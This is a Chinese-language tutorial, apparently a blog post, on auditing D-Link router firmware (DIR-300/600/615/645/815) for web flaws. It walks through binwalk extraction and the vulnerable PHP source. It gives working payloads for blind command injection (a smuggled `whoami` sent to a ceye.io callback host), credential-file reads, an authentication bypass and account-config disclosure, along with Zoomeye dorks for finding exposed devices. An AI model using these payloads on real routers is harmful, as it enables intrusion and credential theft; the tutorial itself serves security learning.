D-Link系列路由器漏洞挖掘入門

D-Link系列路由器漏洞挖掘入門

前言

前幾天去上海蔘加了geekpwn,看着大神們一個個破解成功各類硬件,我只能在下面喊 6666,特別羨慕那些大神們。因此回來就決定好好研究一下路由器,爭取跟上大神們的步伐。看網上公開的D-Link系列的漏洞也很多,那就從D-Link路由器漏洞開始學習。php

準備工做

既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下載地址:html

ftp://ftp2.dlink.com/PRODUCTS/python

下載完固件發現是個壓縮包,解壓以後裏面仍是有一個bin文件。據說用binwalk就能夠解壓。kali-linux自帶binwalk,可是缺乏一些依賴,因此仍是編譯安裝了一下。linux

$ sudo apt-get update  
$ sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
$ git clone https://github.com/devttys0/binwalk.git  
$ cd binwalk # python2.7安裝 $ sudo python setup.py install # python2.7手動安裝依賴庫 $ sudo apt-get install python-lzma $ sudo apt-get install python-crypto $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph $ sudo apt-get install python-pip $ sudo pip install capstone # Install standard extraction utilities(必選) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools # Install sasquatch to extract non-standard SquashFS images(必選) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh) # Install jefferson to extract JFFS2 file systems(可選) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install) # Install ubi_reader to extract UBIFS file systems(可選) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install) # Install yaffshiv to extract YAFFS file systems(可選) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install) # Install unstuff (closed source) to extract StuffIt archive files(可選) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv $ sudo cp bin/unstuff /usr/local/bin/ 

按照上面的命令就能夠完整的安裝binwalk了,這樣就能夠解開市面上的大部分固件包。 而後用 binwalk -Me 固件包名稱 解固件,而後咱們會獲得如下劃線開頭的名稱的文件夾,文件夾裏squashfs-root文件夾,就是路由器的完整固件包。git

漏洞挖掘

此文章針對歷史路由器的web漏洞進行分析,路由器的web文件夾 通常就在suashfs-root/www或者 suashfs-root/htdocs文件夾裏。路由器固件所使用的語言通常爲 asp,php,cgi,lua 等語言。這裏主要進行php的代碼審計來挖掘漏洞。github

D-Link DIR-645 & DIR-815 命令執行漏洞

Zoomeye dork: DIR-815 or DIR-645web

這裏以 D-Link DIR-645固件爲例,解開固件進入 suashfs-root/htdocs 文件夾。安全

這個漏洞出如今 diagnostic.php文件。直接看代碼session

HTTP/1.1 200 OK
Content-Type: text/xml

<?
if ($_POST["act"] == "ping") { set("/runtime/diagnostic/ping", $_POST["dst"]); $result = "OK"; } else if ($_POST["act"] == "pingreport") { $result = get("x", "/runtime/diagnostic/ping"); } echo '<?xml version="1.0"?>\n'; ?><diagnostic> <report><?=$result?></report> </diagnostic> 

分析代碼能夠看到,這裏沒有進行權限認證,因此能夠直接繞過登陸。繼續往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 這段代碼就是形成漏洞的關鍵代碼。參數dst 沒有任何過濾直接進入到了 ping的命令執行裏,致使任意命令執行漏洞。繼續往下看 $result = "OK";不管是否執行成功,這裏都會顯示OK。因此這是一個盲注的命令執行。以此構造payloadpython2.7

url = 'localhost/diagnostic.php'
data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

由於是盲注的命令執行,因此這裏須要藉助一個盲打平臺(如:ceye),來驗證漏洞是否存在。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞

Zoomeye dork:DIR-300 or DIR-600

這裏以 D-Link DIR-300固件爲例,解開固件進入 suashfs-root/www 文件夾。

漏洞出如今/model/__show_info.php文件。

<?
if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd") { echo "<title>404 Not Found</title>\n"; echo "<h1>404 Not Found</h1>\n"; } else { if($REQUIRE_FILE!="") { require($LOCALE_PATH."/".$REQUIRE_FILE); } else { echo $m_context; echo $m_context2;//jana added if($m_context_next!="") { echo $m_context_next; } echo "<br><br><br>\n"; if($USE_BUTTON=="1") {echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; } } } ?> 

這裏看到已經禁止了$REQUIRE_FILE的參數爲var/etc/httpasswdvar/etc/hnapasswd。這麼一看沒法獲取帳號密碼。可是咱們能夠從根路徑開始配置httpasswd的路徑,就能夠繞過這個過濾了。

payload:

localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

這裏設置REQUIRE_FILE=/var/etc/httpasswd 成功繞過上面的 if判斷,進行任意文件讀取。

D-Link DIR-300 & DIR-320 & DIR-615 權限繞過漏洞

Zoomeye dork:DIR-300 or DIR-615

這裏以 D-Link DIR-300固件爲例,解開固件進入 suashfs-root/www 文件夾

默認狀況下,Web界面中的全部頁面都須要進行身份驗證,可是某些頁面(如 登陸頁面) 必須在認證以前訪問。 爲了讓這些頁面不進行認證,他們設置了一個PHP變量NO_NEED_AUTH:

<?
$MY_NAME ="login_fail"; $MY_MSG_FILE=$MY_NAME.".php"; $NO_NEED_AUTH="1"; $NO_SESSION_TIMEOUT="1"; require("/www/model/__html_head.php"); ?> 

此漏洞觸發的緣由在於 全局文件 _html_head.php

<?
/* vi: set sw=4 ts=4: */ if ($NO_NEED_AUTH!="1") { /* for POP up login. */ // require("/www/auth/__authenticate_p.php"); // if ($AUTH_RESULT=="401") {exit;} /* for WEB based login */ require("/www/auth/__authenticate_s.php"); if($AUTH_RESULT=="401") {require("/www/login.php"); exit;} if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;} if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;} $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group"); } require("/www/model/__lang_msg.php"); ?> 

這裏咱們看到 $NO_NEED_AUTH!="1" 若是 $NO_NEED_AUTH 不爲 1 則進入身份認證。若是咱們把$NO_NEED_AUTH值 設置爲 1 那就繞過了認證進行任意操做。

payload:

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

這裏AUTH_GROUP=0 表示admin權限

D-Link DIR-645 信息泄露漏洞

Zoomeye dork:DIR-645

這裏以 D-Link DIR-300固件爲例,解開固件進入 suashfs-root/htdocs 文件夾

D-Link DIR-645 getcfg.php 文件因爲過濾不嚴格致使信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);  if ($GETCFG_SVC!="")  {  $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";  /* GETCFG_SVC will be passed to the child process. */  if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; } 

這裏咱們能夠看到 $GETCFG_SVC 沒有任何過濾直接獲取了 POST 傳遞過來的SERVICES的值。若是$GETCFG_SVC不爲空,則進行文件讀取。這裏咱們就能夠讀取存儲此設備信息的DEVICE.ACCOUNT.xml.php文件。

payload:

http://localhost/getcfg.php
post:SERVICES=DEVICE.ACCOUNT

總結

能夠發現此篇文章所說起的漏洞都是web領域的常見漏洞,如權限繞過,信息泄露,命令執行等漏洞。因爲路由器的安全沒有獲得足夠的重視,此文涉及到的漏洞都是由於對參數過濾不嚴格所致使的。 路由器的漏洞影響仍是很普遍的,在此提醒用戶,及時更新路由器固件,以此避免各類入侵事件,以及我的信息的泄露。

參考連接

相關文章
相關標籤/搜索